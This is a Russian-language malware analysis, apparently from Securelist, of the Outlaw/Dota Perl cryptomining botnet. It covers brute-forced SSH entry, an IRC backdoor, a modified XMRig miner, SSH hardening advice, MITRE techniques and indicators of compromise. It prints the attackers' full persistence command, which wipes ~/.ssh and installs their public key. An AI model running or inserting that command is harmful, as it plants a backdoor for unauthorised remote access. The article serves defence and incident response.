Введение

Недавно в ходе реагирования на инцидент в Бразилии мы столкнулись с относительно простой, но крайне эффективной угрозой, нацеленной на Linux-системы. Outlaw (также известный как Dota) — это ботнет для криптомайнинга, написанный на Perl. Как правило, он заражает системы, где используются слабые или стандартные учетные данные SSH. Ранее в исследованиях ([1], [2]) описывались образцы Outlaw, полученные с помощью ловушек. В этой статье мы поделимся разбором реального инцидента, над которым работали специалисты «Лаборатории Касперского», а также предоставим данные телеметрии о странах, которые привлекли наибольшее внимание злоумышленников. Кроме того, мы опишем используемые злоумышленниками тактики, техники и процедуры, а также лучшие практики, которые помогут специалистам по кибербезопасности защитить свою инфраструктуру от подобных угроз.

Анализ

Мы начали анализ со сбора необходимых улик в скомпрометированной Linux-системе. В ходе расследования мы обнаружили подозрительный ключ авторизации SSH, привязанный к пользователю с именем
suporte — в португалоязычных системах это распространенное имя для административных учетных записей. Часто пароль к таким учетным записям совпадает с именем пользователя, что является серьезным промахом с точки зрения безопасности и значительно упрощает задачу злоумышленникам. Обнаруженный SSH-ключ принадлежал пользователю удаленной Linux-системы с именем
mdrfckr — эта строка ранее встречалась в кампаниях ботнета Dota, что вызвало у нас обоснованные подозрения.

Подозрительный ключ авторизации

После первоначальной компрометации через SSH злоумышленники загружают скрипт первого этапа
tddwrt7s.sh с помощью утилит
wget или
curl. Этот файл отвечает за загрузку архива
dota.tar.gz с сервера атакующих. Ниже представлена типичная для этой группы последовательность команд, которую они выполняют для загрузки и распаковки этого файла. Примечательно, что злоумышленники пытаются загрузить скрипт сразу двумя упомянутыми утилитами, поскольку одна из них может отсутствовать в системе.

Цепочка команд, использованных злоумышленниками для загрузки и распаковки файла dota.tar.gz

После распаковки в домашнем каталоге пользователя создается скрытый каталог
.configrc5 со следующей структурой:

Структура каталога .configrc5

Любопытно, что одним из первых шагов выполнения является проверка наличия на устройстве других известных майнеров с помощью скрипта
a/init0. Если такие майнеры обнаруживаются, скрипт пытается завершить их процессы и предотвратить повторный запуск. Одна из целей — избежать конкуренции за ресурсы и снизить нагрузку на оперативную память и процессор зараженной машины.

Код для уничтожения и блокировки известных майнеров

Скрипт также отслеживает активные процессы и выявляет те, что нагружают процессор не менее чем на 40%, посредством команды
ps axf o “pid %cpu”. Для каждого такого процесса с помощью команды grep он проверяет запуск процесса через командную строку
(/proc/$procid/cmdline) поиском определенных ключевых слов, например
kswapd0, tsm, rsync, tor, httpd, blitz или
mass. Если ни одно из ключевых слов не найдено (то есть grep не возвращает ноль), процесс принудительно завершается командой
kill 9. В противном случае скрипт выводит сообщение
don’t kill, фактически добавляя все ожидаемые или нужные для Outlaw процессы с высокой нагрузкой на ЦП в собственный список разрешенных и предотвращая их случайное завершение.

Проверки процессов, выполняемые скриптом

После проверки и завершения процессов выполняется файл
b/run, который отвечает за закрепление на зараженной машине и запуск следующего этапа вредоносного ПО. Для закрепления в системе злоумышленники использовали команду, которая удаляет существующие настройки SSH, создает пустую папку
.ssh, добавляет новый открытый ключ для доступа по SSH и блокирует права доступа. Она выглядит следующим образом:

cd ~ && rm -rf .ssh && mkdir .ssh && echo “ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr”>>.ssh/authorized_keys && chmod -R go= ~/.ssh

Следующим этапом выполнения зловреда выступает строка внутри скрипта
b/run, закодированная по алгоритму Base64. После декодирования она раскрывает еще один уровень обфускации — на этот раз обфусцированный Perl-скрипт. Интересно, что злоумышленники оставили в коде комментарий, сгенерированный обфускатором perlobfuscator.com.

Обфусцированный Perl-скрипт

Мы с легкостью деобфусцировали скрипт с помощью инструмента с открытым исходным кодом, доступного на том же сайте, который использовали злоумышленники (https://perlobfuscator.com/decode-stunnix-5.17.1.pl). Это позволило получить оригинальный исходный код, содержащий несколько слов на португальском языке.

Деобфусцированный Perl-скрипт

Этот Perl-скрипт представляет собой IRC-клиент ботнета, который действует как бэкдор в скомпрометированной системе. После выполнения он маскируется под процесс
rsync, создает свою копию в фоновом режиме и игнорирует сигналы на завершение. По умолчанию скрипт подключается к жестко закодированному IRC-серверу через порт 443, используя случайно сгенерированные никнеймы, и присоединяется к заранее определенным каналам, ожидая команд от назначенных администраторов. Бот поддерживает множество вредоносных функций, включая: выполнение команд, DDoS-атаки, сканирование портов, загрузку и выгрузку файлов через HTTP, — предоставляя злоумышленникам широкие возможности для управления ботнетом.

Майнер XMRig

Другой файл из скрытого каталога,
a/kswapd0, представляет собой ELF-файл, упакованный с использованием UPX, как показано на рисунке ниже. Мы без проблем распаковали его и проанализировали.

Идентификация и распаковка kswapd0

Передав хэш этого бинарника на порталы анализа угроз и проведя статический анализ образца, мы пришли к выводу, что это модифицированная версия криптовалютного майнера XMRig (6.19.0).

Версия XMRig

Мы также обнаружили, что в бинарный файл был встроен файл конфигурации, который описывал майнинговые операции злоумышленников. В нашем случае конфигурация включала добычу Monero исключительно на центральном процессоре, при этом OpenCL и CUDA (для майнинга на видеокартах) были отключены. Майнер работает в фоновом режиме, сильно нагружая процессор. Он также подключается к нескольким майнинговым пулам, один из которых доступен через Tor, что объясняет наличие Tor-файлов в директории
.configrc5/a. На рисунке ниже показан фрагмент этого файла конфигурации.

Конфигурация XMRig злоумышленников

Жертвы

Согласно телеметрическим данным, собранным из открытых источников, жертвы группы Outlaw в основном находятся в США, однако также есть пострадавшие в Германии, Италии, Таиланде, Сингапуре, Тайване, Канаде и Бразилии, как показано на диаграмме ниже.

Страны и территории с наибольшей активностью ботнета Outlaw (скачать)

На следующей диаграмме показано распределение недавних жертв. Можно увидеть, что группа приостановила операции с декабря 2024 года по февраль 2025 года, а в марте 2025 года произошел резкий скачок числа жертв.

Количество жертв Outlaw по месяцам, сентябрь 2024 г. — март 2025 г. (скачать)

Наши рекомендации

Поскольку группа Outlaw использует слабые или стандартные пароли SSH, мы рекомендуем системным администраторам принимать проактивные меры для защиты своих серверов. Для этого нужно уделить внимание правильной конфигурации сервера и поддерживать службы в актуальном состоянии. Даже такие простые меры, как использование аутентификации на основе ключей, могут быть весьма эффективными. Кроме того, файл
/etc/ssh/sshd_config позволяет настроить дополнительные параметры для повышения безопасности. Вот некоторые из них.

Port <custom_port_number>: изменяет порт SSH по умолчанию, чтобы усложнить задачу автоматического сканирования.
Protocol 2: принудительно включает более безопасную версию протокола.
PermitRootLogin no: отключает прямой вход в систему с правами пользователя root.
MaxAuthTries <integer>: ограничивает количество попыток аутентификации за сеанс.
LoginGraceTime <time>: определяет время, отведенное на завершение процесса входа в систему (в секундах, если не указано иное).
PasswordAuthentication no: отключает вход в систему с помощью пароля.
PermitEmptyPasswords no: предотвращает вход в систему с пустыми паролями.
X11Forwarding no: отключает механизм переадресации X11 (используется для удаленного запуска графических приложений).
PermitUserEnvironment no: запрещает пользователям передавать переменные окружения.
Banner /etc/ssh/custom_banner: изменяет баннер входа в систему.

По возможности отключите неиспользуемые протоколы аутентификации:

ChallengeResponseAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no

Отключите параметры туннелирования, чтобы избежать неправильного использования функции SSH-туннеля:

AllowAgentForwarding no
AllowTcpForwarding no
PermitTunnel no

Можете ограничить доступ к SSH для определенных IP-адресов или сетей с помощью директивы AllowUsers:

AllowUsers *@10.10.10.217
AllowUsers *@192.168.0.0/24

Включите аутентификацию с открытым ключом:

PubkeyAuthentication yes

Настройте автоматическое завершение простаивающих сеансов:

ClientAliveInterval <time>
ClientAliveCountMax <integer>

Следующий файл конфигурации можно использовать как шаблон для повышения безопасности службы SSH:

Protocol 2
Port 2222

LoginGraceTime 10
PermitRootLogin no
MaxAuthTries 3
IgnoreRhosts yes
PubkeyAuthentication yes
PasswordAuthentication no
PermitEmptyPasswords no

UsePAM yes
ChallengeResponseAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no

AllowAgentForwarding no
AllowTcpForwarding no
X11Forwarding no
PrintMotd no
PrintLastLog yes
PermitUserEnvironment no
ClientAliveInterval 300
ClientAliveCountMax 2
PermitTunnel no

Banner /etc/ssh/custom_banner
AllowUsers *@10.10.10.217

Одновременно с правильной конфигурацией sshd_config использование таких инструментов, как Fail2Ban или ограничение скорости через firewalld, добавляет еще один уровень защиты от брутфорса.

Заключение

Сосредоточив внимание на слабых или стандартных SSH-учетных данных, Outlaw продолжает улучшать и расширять свой инструментарий для платформы Linux. Она использует разные методы обхода защиты, включая сокрытие файлов и папок, обфускацию кода, а также применяет скомпрометированные SSH-ключи, чтобы как можно дольше сохранять свое присутствие. IRC-клиент ботнета поддерживает широкий спектр вредоносных операций, включая выполнение команд, флуд-атаки и сканирование. Также злоумышленники эксплуатируют вычислительные ресурсы зараженных систем для добычи криптовалюты с помощью специальной версии майнера XMRig. Чтобы значительно снизить риск заражения, системным администраторам рекомендуется использовать более безопасную конфигурацию SSH (например, отключив парольный доступ), отслеживать подозрительные процессы и ограничить доступ к SSH только для доверенных пользователей и сетей.

Тактики, техники и процедуры

Ниже приведены тактики, техники и процедуры Outlaw, основанные на нашем анализе вредоносного ПО.

Тактика
Техника
ID

Execution
Command and Scripting Interpreter: Unix Shell
T1059.004

Persistence
Scheduled Task/Job: Cron
T1053.003

Persistence
Account Manipulation: SSH Authorized Keys
T1098.004

Defense Evasion
Obfuscated Files or Information
T1027

Defense Evasion
Indicator Removal: File Deletion
T1070.004

Defense Evasion
File and Directory Permissions Modification
T1222

Defense Evasion
Hide Artifacts: Hidden Files and Directories
T1564.001

Defense Evasion
Obfuscated Files or Information: Software Packing
T1027.002

Credential Access
Brute Force
T1110

Discovery
System Information Discovery
T1082

Discovery
Process Discovery
T1057

Discovery
Account Discovery
T1087

Discovery
System Owner/User Discovery
T1033

Discovery
System Network Connections Discovery
T1049

Lateral Movement
Remote Services: SSH
T1021.004

Collection
Data from Local System
T1005

Command and Control
Application Layer Protocol
T1071

Command and Control
Ingress Tool Transfer
T1105

Exfiltration
Exfiltration Over Alternative Protocol
T1048

Impact
Resource Hijacking
T1496

Impact
Service Stop
T1489

Индикаторы компрометации

15f7c9af535f4390b14ba03ddb990c732212dde8 (a)
982c0318414c3fdf82e3726c4ef4e9021751bbd9 (init0)
f2b4bc2244ea8596a2a2a041308aa75088b6bbd5 (kswapd0)
4d5838c760238b77d792c99e64bd962e73e28435 (run)
d0ba24f9fad04720dff79f146769d0d8120bf2ff (расшифрованный скрипт Perl)
45[.]9[.]148[.]99 (командный сервер злоумышленников)
483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS (кошелек Monero)

​  

​Securelist

Read More

Ваша реакция?
+1
0
+1
0
+1
0
+1
0
+1
0
+1
0
+1
0
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
0
Оставьте комментарий! Напишите, что думаете по поводу статьи.x